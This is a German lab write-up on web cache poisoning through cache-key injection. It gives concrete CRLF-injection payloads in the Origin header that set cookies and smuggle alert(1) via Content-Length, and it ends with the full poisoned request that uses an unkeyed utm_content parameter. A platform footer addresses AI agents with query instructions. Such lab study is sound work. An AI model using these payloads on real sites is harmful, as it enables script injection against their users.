> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/injection-into-cache-key.md).

# Injection in den Cache-Key

### Cache-Key-Injektion

### Injektion in den Cache-Key

Wir müssen mehrere Fehler kombinieren (einschließlich **Cache-Key-Injektion**) um auszuführen **`alert(1)`** im Browser des Opfers. Das Lab erfordert die Verwendung des Headers **`Pragma: x-get-cache-key`**.

<figure><img src="/files/6b098032155bd91c6433a43c2fbf9429369965d3" alt=""><figcaption></figcaption></figure>

#### Aufklärung

1/) Login-Verhalten

* Wir haben ein Verbindungsfenster.
* Nach dem Login werden wir weitergeleitet zu **`/login/?lang=en`**.
* Anschließend wird ein Sitzungscookie gesetzt.

<figure><img src="/files/aa0874110d125caa1048f1eeb7d8db4383d8fd1f" alt=""><figcaption></figcaption></figure>

2/) Reflektion des `lang` Parameters

* Unser Eintrag erscheint in der Antwort über `lang`:
* Beispiel: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="/files/b96f4aaf0319ad93ae09753f87d2f4a596871823" alt=""><figcaption></figcaption></figure>

Wenn wir HTML-Tags einfügen (z. B. `<h1>`), **wird es nicht ausgeführt**: es gibt HTML-Kodierung\*\*.

<figure><img src="/files/fdbd79254af1dee41fb75d96af0a27271030fb5d" alt=""><figcaption></figcaption></figure>

#### Operativer Einstiegspunkt

Versteckte JS-Datei: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Wir bemerken ein Skript im Hintergrund:

* **`/js/localize.js?lang=en&CORS=0`**
* Beobachtete Antwort:
* `document.cookie = 'lang=en';`

Wenn wir ändern `lang`wird der Wert reflektiert:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` erscheint in der Antwort.

<figure><img src="/files/ce3d40f8c4a0b889730fdd317a3ccd4f27f6d5fe" alt=""><figcaption></figcaption></figure>

### Beobachtung des Cache-Keys

Wir fügen hinzu:

```http
Pragma: x-get-cache-key
```

Und wir erhalten den Key:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="/files/d542ddcbd28d6d208031e512f6a1c56fe1f89808" alt=""><figcaption></figcaption></figure>

Wir stellen fest, dass `CORS` den Key beeinflusst und dass beim Variieren von **Origin** + `CORS`wir variieren können, was in den Cache eingeht.

<figure><img src="/files/5a4df139ed1f431a683d0d40d14f4c1d378510e1" alt=""><figcaption></figcaption></figure>

### Injektion von Headern über den Back Cart

Wir verwenden CRLF-Injektion:

* `%0d%0a`

```
man ascii
```

<figure><img src="/files/96c71d89f64841efc8439ac4fc9efa7bc82009c5" alt=""><figcaption></figcaption></figure>

#### 1) Test: Cookie-Injektion

Wir senden:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Ergebnis: Das Cookie wird auf der Antwortseite korrekt interpretiert.

<figure><img src="/files/709eb3b5305b808d9cdaa89b3a30964ee5df3d90" alt=""><figcaption></figcaption></figure>

#### JavaScript-Injektion durch Manipulation von `Content-Length`

Dann versuchen wir, Inhalt mit Folgendem in die Antwort einzuschleusen:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

In der Antwort finden wir **`alert(1)`**.

<figure><img src="/files/b397ccf78e87967f3b408a45180604d08330a7f1" alt=""><figcaption></figcaption></figure>

#### Gezielte versteckte Antwort erstellen

Damit der Server diese Version speichert (mit `alert(1)`), muss der **Cache-Key** einer Form entsprechen, die unser injiziertes `Origin`, zum Beispiel:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="/files/0d94b974445438e31d68f10a001410d0f4ea1b0d" alt=""><figcaption></figcaption></figure>

#### Versatz auf der Opferseite über einen ignorierten Parameter

Wir suchen nach einem vom Cache ignorierten Parameter (gefunden mit Param Miner):

* **`utm_content`**

Wir verwenden den Key-Cache erneut und platzieren die Payload in `utm_content` um beim Besuch die vergiftete Ressource bereitzustellen `lang=en`.

Endgültige Anfrage (wie von uns verwendet):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="/files/f86127670432ae568fe80156ef30bf66295dd1b3" alt=""><figcaption></figcaption></figure>

Wenn das Opfer die Seite in **`/login/?lang=en`** (über Weiterleitung) wird der vergiftete Inhalt aus dem Cache geliefert, und **`alert(1)`** wird ausgeführt.

<figure><img src="/files/9158ce6117f8eb8a4cfe6ccfb670ee9c0f9ca7bf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/injection-into-cache-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
